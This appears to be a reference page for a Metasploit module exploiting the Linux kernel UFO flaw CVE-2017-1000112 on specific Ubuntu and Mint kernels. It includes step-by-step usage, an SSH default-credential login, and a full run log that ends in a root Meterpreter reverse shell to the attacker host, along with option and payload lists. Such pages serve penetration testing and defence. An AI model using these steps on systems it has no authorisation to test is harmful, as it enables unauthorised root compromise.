Linux Kernel UDP Fragmentation Offset (UFO) Privilege Escalation - Metasploit
This page contains detailed information about how to use the exploit/linux/local/ufo_privilege_escalation metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Linux Kernel UDP Fragmentation Offset (UFO) Privilege Escalation
Module: exploit/linux/local/ufo_privilege_escalation
Source code: modules/exploits/linux/local/ufo_privilege_escalation.rb
Disclosure date: 2017-08-10
Last modification time: 2020-09-18 11:38:43 +0000
Supported architecture(s): x64
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2017-1000112
This module attempts to gain root privileges on Linux systems by abusing UDP Fragmentation Offload (UFO). This exploit targets only systems using Ubuntu (Trusty / Xenial) kernels 4.4.0-21 <= 4.4.0-89 and 4.8.0-34 <= 4.8.0-58, including Linux distros based on Ubuntu, such as Linux Mint. The target system must have unprivileged user namespaces enabled and SMAP disabled. Bypasses for SMEP and KASLR are included. Failed exploitation may crash the kernel. This module has been tested successfully on various Ubuntu and Linux Mint systems, including: Ubuntu 14.04.5 4.4.0-31-generic x64 Desktop; Ubuntu 16.04 4.8.0-53-generic; Linux Mint 17.3 4.4.0-89-generic; Linux Mint 18 4.8.0-58-generic
Module Ranking and Traits
Module Ranking:
- good: The exploit has a default target and it is the "common case" for this type of software (English, Windows 7 for a desktop app, 2012 for server, etc). More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-os-down: Module may crash the OS, and the OS remains down.
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions
command.
msf > use exploit/linux/local/ufo_privilege_escalation
msf exploit(ufo_privilege_escalation) > show targets
... a list of targets ...
msf exploit(ufo_privilege_escalation) > set TARGET target-id
msf exploit(ufo_privilege_escalation) > show options
... show and set options ...
msf exploit(ufo_privilege_escalation) > set SESSION session-id
msf exploit(ufo_privilege_escalation) > exploit
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Vulnerable Application
This module attempts to gain root privileges on Linux systems by abusing UDP Fragmentation Offload (UFO).
The bug was initially introduced in October 2005 and patched in September 2017, potentially affecting a large number of kernels; however this exploit targets only systems using Ubuntu (Trusty / Xenial) kernels 4.4.0-21 <= 4.4.0-89 (Trusty), and 4.4.0-81 <= 4.8.0-58 (Xenial), including Linux distros based on Ubuntu such as Linux Mint.
Disabling SMAP
To disable SMAP
on a system, edit /etc/default/grub
and add nosmap
to the GRUB_CMDLINE_LINUX_DEFAULT
line.
Next, sudo update-grub
, and reboot.
To verify SMAP has been disabled, grep smap /proc/cpuinfo
and nothing should be returned.
Verification Steps
- Start msfconsole
- Get a shell on a vulnerable box
- Do:
use exploit/linux/local/ufo_privilege_escalation
- Do:
set session [#]
- Do:
run
- You should get a root shell.
Options
WritableDir
A folder we can write files to. Defaults to /tmp
COMPILE
If we should live compile on the system, or drop pre-created binaries. Auto will determine if gcc/libs are installed to compile live on the system. Defaults to Auto
Compiled Executables
The module makes use of a pre-compiled exploit executable to be
used when gcc
is not available on the target host for live compiling,
or COMPILE
is set to False
.
The executable was cross-compiled with musl-cross.
./x86_64-linux-musl-gcc -o exploit.out -pie -static exploit.c
Scenarios
Ubuntu 14.04.5 4.4.0-31-generic x64 Desktop
Initial Access
resource (ubuntu.rb)> use auxiliary/scanner/ssh/ssh_login
resource (ubuntu.rb)> set rhosts 2.2.2.2
rhosts => 2.2.2.2
resource (ubuntu.rb)> set username ubuntu
username => ubuntu
resource (ubuntu.rb)> set password ubuntu
password => ubuntu
resource (ubuntu.rb)> exploit
[+] 2.2.2.2:22 - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare) Linux ubuntu-desktop-14 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:07:32 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux '
[*] Command shell session 1 opened (1.1.1.1:45819 -> 2.2.2.2:22) at 2018-04-03 20:58:32 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Escalate
In this scenario, gcc is installed so we can live compile on the system.
msf5 auxiliary(scanner/ssh/ssh_login) > use exploit/linux/local/ufo_privilege_escalation
msf5 exploit(linux/local/ufo_privilege_escalation) > set verbose true
verbose => true
msf5 exploit(linux/local/ufo_privilege_escalation) > set session 1
session => 1
msf5 exploit(linux/local/ufo_privilege_escalation) > set lhost 1.1.1.1
lhost => 1.1.1.1
msf5 exploit(linux/local/ufo_privilege_escalation) > exploit
[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 1.1.1.1:4444
[+] Linux kernel version 4.4.0-31-generic is vulnerable
[*] Checking if SMAP is enabled ...
[+] SMAP is not enabled
[+] System architecture x86_64 is supported
[+] Unprivileged user namespaces are permitted
[+] gcc is installed
[*] Live compiling exploit on system...
[*] Writing '/tmp/.4UnI1EFL.c' (28356 bytes) ...
[*] Max line length is 65537
[*] Writing 28356 bytes in 2 chunks of 57414 bytes (octal-encoded), using printf
[*] Next chunk is 43454 bytes
[*] Writing '/tmp/.S6G2g9rnUj' (207 bytes) ...
[*] Max line length is 65537
[*] Writing 207 bytes in 1 chunks of 629 bytes (octal-encoded), using printf
[*] Launching exploit ...
[*] Transmitting intermediate stager...(106 bytes)
[*] Sending stage (857352 bytes) to 2.2.2.2
[*] [.] starting
[*] [.] checking kernel version
[*] [.] kernel version '4.4.0-31-generic' detected
[*] [~] done, version looks good
[*] [.] checking SMEP and SMAP
[*] [~] done, looks good
[*] [.] setting up namespace sandbox
[*] [~] done, namespace sandbox set up
[*] [.] KASLR bypass enabled, getting kernel addr
[*] [.] trying /proc/kallsyms...
[*] [.] trying /boot/System.map-4.4.0-31-generic...
[*] [-] open/read(/boot/System.map-4.4.0-31-generic)
[*] [.] trying syslog...
[*] [~] done, kernel addr: ffffffff81000000
[*] [.] commit_creds: ffffffff8109d760
[*] [.] prepare_kernel_cred: ffffffff8109da40
[*] [.] SMEP bypass enabled, mmapping fake stack
[*] [~] done, fake stack mmapped
[*] [.] executing payload ffffffff8104516a
[*] [~] done, should be root now
[*] [.] checking if we got root
[*] [+] got r00t ^_^
[*] Cleaning up /tmp/.S6G2g9rnUj and /tmp/.4UnI1EFL ...
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:60474) at 2018-07-21 13:35:49 -0400
meterpreter > sysinfo
Computer : 2.2.2.2
OS : Ubuntu 14.04 (Linux 4.4.0-31-generic)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
meterpreter >
Go back to menu.
Msfconsole Usage
Here is how the linux/local/ufo_privilege_escalation exploit module looks in the msfconsole:
msf6 > use exploit/linux/local/ufo_privilege_escalation
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/ufo_privilege_escalation) > show info
Name: Linux Kernel UDP Fragmentation Offset (UFO) Privilege Escalation
Module: exploit/linux/local/ufo_privilege_escalation
Platform: Linux
Arch: x64
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Good
Disclosed: 2017-08-10
Provided by:
Andrey Konovalov
h00die
bcoles <[email protected]>
Module stability:
crash-os-down
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Auto
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
COMPILE Auto yes Compile on target (Accepted: Auto, True, False)
SESSION yes The session to run this module on.
Payload information:
Description:
This module attempts to gain root privileges on Linux systems by
abusing UDP Fragmentation Offload (UFO). This exploit targets only
systems using Ubuntu (Trusty / Xenial) kernels 4.4.0-21 <= 4.4.0-89
and 4.8.0-34 <= 4.8.0-58, including Linux distros based on Ubuntu,
such as Linux Mint. The target system must have unprivileged user
namespaces enabled and SMAP disabled. Bypasses for SMEP and KASLR
are included. Failed exploitation may crash the kernel. This module
has been tested successfully on various Ubuntu and Linux Mint
systems, including: Ubuntu 14.04.5 4.4.0-31-generic x64 Desktop;
Ubuntu 16.04 4.8.0-53-generic; Linux Mint 17.3 4.4.0-89-generic;
Linux Mint 18 4.8.0-58-generic
References:
https://nvd.nist.gov/vuln/detail/CVE-2017-1000112
https://www.exploit-db.com/exploits/43418
http://www.securityfocus.com/bid/100262
https://seclists.org/oss-sec/2017/q3/277
https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c
https://git.kernel.org/pub/scm/linux/kernel/git/davem/net.git/commit/?id=85f1bd9a7b5a79d5baa8bf44af19658f7bf77bfa
https://people.canonical.com/~ubuntu-security/cve/CVE-2017-1000112
https://securingtomorrow.mcafee.com/mcafee-labs/linux-kernel-vulnerability-can-lead-to-privilege-escalation-analyzing-cve-2017-1000112/
https://ricklarabee.blogspot.com/2017/12/adapting-poc-for-cve-2017-1000112-to.html
https://github.com/bcoles/kernel-exploits/commits/cve-2017-1000112
Module Options
This is a complete list of options available in the linux/local/ufo_privilege_escalation exploit:
msf6 exploit(linux/local/ufo_privilege_escalation) > show options
Module options (exploit/linux/local/ufo_privilege_escalation):
Name Current Setting Required Description
---- --------------- -------- -----------
COMPILE Auto yes Compile on target (Accepted: Auto, True, False)
SESSION yes The session to run this module on.
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Auto
Advanced Options
Here is a complete list of advanced options supported by the linux/local/ufo_privilege_escalation exploit:
msf6 exploit(linux/local/ufo_privilege_escalation) > show advanced
Module advanced options (exploit/linux/local/ufo_privilege_escalation):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
ForceExploit false no Override check result
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
WritableDir /tmp yes A directory where we can write files
Payload advanced options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugLevel 0 yes Set debug level for meterpreter 0-3 (Default output is strerr)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork false no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
RemoteMeterpreterDebugFile no Redirect Debug Info to a Log File
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/local/ufo_privilege_escalation module can exploit:
msf6 exploit(linux/local/ufo_privilege_escalation) > show targets
Exploit targets:
Id Name
-- ----
0 Auto
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/local/ufo_privilege_escalation exploit:
msf6 exploit(linux/local/ufo_privilege_escalation) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/linux/x64/exec normal No Linux Execute Command
4 payload/linux/x64/meterpreter/bind_tcp normal No Linux Mettle x64, Bind TCP Stager
5 payload/linux/x64/meterpreter/reverse_tcp normal No Linux Mettle x64, Reverse TCP Stager
6 payload/linux/x64/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
7 payload/linux/x64/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
8 payload/linux/x64/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
9 payload/linux/x64/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager
10 payload/linux/x64/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
11 payload/linux/x64/shell_bind_ipv6_tcp normal No Linux x64 Command Shell, Bind TCP Inline (IPv6)
12 payload/linux/x64/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
13 payload/linux/x64/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
14 payload/linux/x64/shell_reverse_ipv6_tcp normal No Linux x64 Command Shell, Reverse TCP Inline (IPv6)
15 payload/linux/x64/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the linux/local/ufo_privilege_escalation exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/local/ufo_privilege_escalation) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
- <PATH>.c failed to compile
- gcc is not installed. Compiling will fail.
- System architecture <ARCH> is not supported
- Linux kernel version <VERSION> is not vulnerable
- SMAP is enabled
- Could not retrieve kernel config
- Kernel config does not include CONFIG_USER_NS
- Unprivileged user namespaces are not permitted
- LKRG is installed
- Session already has root privileges. Set ForceExploit to override.
- <BASE_DIR> is not writable
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<PATH>.c failed to compile
Here is a relevant code snippet related to the "<PATH>.c failed to compile" error message:
105: output = cmd_exec gcc_cmd
106: rm_f "#{path}.c"
107:
108: unless output.blank?
109: print_error output
110: fail_with Failure::Unknown, "#{path}.c failed to compile"
111: end
112:
113: cmd_exec "chmod +x #{path}"
114: end
115:
gcc is not installed. Compiling will fail.
Here is a relevant code snippet related to the "gcc is not installed. Compiling will fail." error message:
128: vprint_good 'gcc is installed'
129: return true
130: end
131:
132: unless datastore['COMPILE'].eql? 'Auto'
133: fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'
134: end
135: end
136:
137: def check
138: arch = kernel_hardware
System architecture <ARCH> is not supported
Here is a relevant code snippet related to the "System architecture <ARCH> is not supported" error message:
135: end
136:
137: def check
138: arch = kernel_hardware
139: unless arch.include? 'x86_64'
140: vprint_error "System architecture #{arch} is not supported"
141: return CheckCode::Safe
142: end
143: vprint_good "System architecture #{arch} is supported"
144:
145: version = kernel_release
Linux kernel version <VERSION> is not vulnerable
Here is a relevant code snippet related to the "Linux kernel version <VERSION> is not vulnerable" error message:
143: vprint_good "System architecture #{arch} is supported"
144:
145: version = kernel_release
146: unless version =~ /^4\.4\.0-(21|22|24|28|31|34|36|38|42|45|47|51|53|57|59|62|63|64|66|67|70|71|72|75|78|79|81|83|87|89|81|89)-generic/ ||
147: version =~ /^4\.8\.0-(34|36|39|41|45|46|49|51|52|53|54|56|58)-generic/
148: vprint_error "Linux kernel version #{version} is not vulnerable"
149: return CheckCode::Safe
150: end
151: vprint_good "Linux kernel version #{version} is vulnerable"
152:
153: vprint_status 'Checking if SMAP is enabled ...'
SMAP is enabled
Here is a relevant code snippet related to the "SMAP is enabled" error message:
150: end
151: vprint_good "Linux kernel version #{version} is vulnerable"
152:
153: vprint_status 'Checking if SMAP is enabled ...'
154: if smap_enabled?
155: vprint_error 'SMAP is enabled'
156: return CheckCode::Safe
157: end
158: vprint_good 'SMAP is not enabled'
159:
160: config = kernel_config
Could not retrieve kernel config
Here is a relevant code snippet related to the "Could not retrieve kernel config" error message:
157: end
158: vprint_good 'SMAP is not enabled'
159:
160: config = kernel_config
161: if config.nil?
162: vprint_error 'Could not retrieve kernel config'
163: return CheckCode::Unknown
164: end
165:
166: unless config.include? 'CONFIG_USER_NS=y'
167: vprint_error 'Kernel config does not include CONFIG_USER_NS'
Kernel config does not include CONFIG_USER_NS
Here is a relevant code snippet related to the "Kernel config does not include CONFIG_USER_NS" error message:
162: vprint_error 'Could not retrieve kernel config'
163: return CheckCode::Unknown
164: end
165:
166: unless config.include? 'CONFIG_USER_NS=y'
167: vprint_error 'Kernel config does not include CONFIG_USER_NS'
168: return CheckCode::Safe
169: end
170: vprint_good 'Kernel config has CONFIG_USER_NS enabled'
171:
172: unless userns_enabled?
Unprivileged user namespaces are not permitted
Here is a relevant code snippet related to the "Unprivileged user namespaces are not permitted" error message:
168: return CheckCode::Safe
169: end
170: vprint_good 'Kernel config has CONFIG_USER_NS enabled'
171:
172: unless userns_enabled?
173: vprint_error 'Unprivileged user namespaces are not permitted'
174: return CheckCode::Safe
175: end
176: vprint_good 'Unprivileged user namespaces are permitted'
177:
178: if lkrg_installed?
LKRG is installed
Here is a relevant code snippet related to the "LKRG is installed" error message:
174: return CheckCode::Safe
175: end
176: vprint_good 'Unprivileged user namespaces are permitted'
177:
178: if lkrg_installed?
179: vprint_error 'LKRG is installed'
180: return CheckCode::Safe
181: end
182: vprint_good 'LKRG is not installed'
183:
184: CheckCode::Appears
Session already has root privileges. Set ForceExploit to override.
Here is a relevant code snippet related to the "Session already has root privileges. Set ForceExploit to override." error message:
185: end
186:
187: def exploit
188: if is_root?
189: unless datastore['ForceExploit']
190: fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
191: end
192: end
193:
194: unless writable? base_dir
195: fail_with Failure::BadConfig, "#{base_dir} is not writable"
<BASE_DIR> is not writable
Here is a relevant code snippet related to the "<BASE_DIR> is not writable" error message:
190: fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
191: end
192: end
193:
194: unless writable? base_dir
195: fail_with Failure::BadConfig, "#{base_dir} is not writable"
196: end
197:
198: # Upload exploit executable
199: executable_name = ".#{rand_text_alphanumeric rand(5..10)}"
200: executable_path = "#{base_dir}/#{executable_name}"
Go back to menu.
Related Pull Requests
- #15556 Merged Pull Request: Add shell support to enum_unattended module
- #15564 Merged Pull Request: Update post_common mixin methods to support powershell session type
- #15570 Merged Pull Request: Fix smb enum gpp module
- #15546 Merged Pull Request: Fix #15480, fix IgnoreUnknownPayloads for stageless reverse_http payloads
- #15561 Merged Pull Request: Add an exploit for ProxyShell
- #15525 Merged Pull Request: Add Lucee Administrator CVE-2021-21307 exploit
- #15332 Merged Pull Request: fix a localization issue and some other minor issues in
rename_file
method - #15540 Merged Pull Request: Add option for running
cmd_execute
in a subshell - #15303 Merged Pull Request: Fix
dir
method for windows shell sessions - #15547 Merged Pull Request: Bump rex-text to 0.2.36
References
- CVE-2017-1000112
- EDB-43418
- BID-100262
- https://seclists.org/oss-sec/2017/q3/277
- https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c
- https://git.kernel.org/pub/scm/linux/kernel/git/davem/net.git/commit/?id=85f1bd9a7b5a79d5baa8bf44af19658f7bf77bfa
- https://people.canonical.com/~ubuntu-security/cve/CVE-2017-1000112
- https://securingtomorrow.mcafee.com/mcafee-labs/linux-kernel-vulnerability-can-lead-to-privilege-escalation-analyzing-cve-2017-1000112/
- https://ricklarabee.blogspot.com/2017/12/adapting-poc-for-cve-2017-1000112-to.html
- https://github.com/bcoles/kernel-exploits/commits/cve-2017-1000112
See Also
Check also the following modules related to this module:
- exploit/osx/misc/ufo_ai
- exploit/windows/misc/ufo_ai
- exploit/linux/local/desktop_privilege_escalation
- exploit/linux/local/docker_daemon_privilege_escalation
- exploit/multi/browser/firefox_pdfjs_privilege_escalation
- auxiliary/admin/http/wp_easycart_privilege_escalation
- auxiliary/admin/http/wp_wplms_privilege_escalation
- exploit/linux/local/docker_privileged_container_escape
Related Nessus plugins:
- Amazon Linux AMI : kernel (ALAS-2017-868)
- SUSE SLED12 / SLES12 Security Update : kernel (SUSE-SU-2017:2131-1)
- Ubuntu 17.04 : linux, linux-raspi2 vulnerabilities (USN-3384-1)
- Ubuntu 16.04 LTS : linux-hwe vulnerabilities (USN-3384-2)
- Ubuntu 16.04 LTS : linux, linux-aws, linux-gke, linux-raspi2, linux-snapdragon vulnerabilities (USN-3385-1)
- Ubuntu 14.04 LTS : linux-lts-xenial vulnerabilities (USN-3385-2)
- Ubuntu 14.04 LTS : linux vulnerabilities (USN-3386-1)
- SUSE SLES12 Security Update : kernel (SUSE-SU-2017:2142-1)
- SUSE SLES12 Security Update : kernel (SUSE-SU-2017:2150-1)
- openSUSE Security Update : the Linux Kernel (openSUSE-2017-929)
Authors
- Andrey Konovalov
- h00die
- bcoles
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.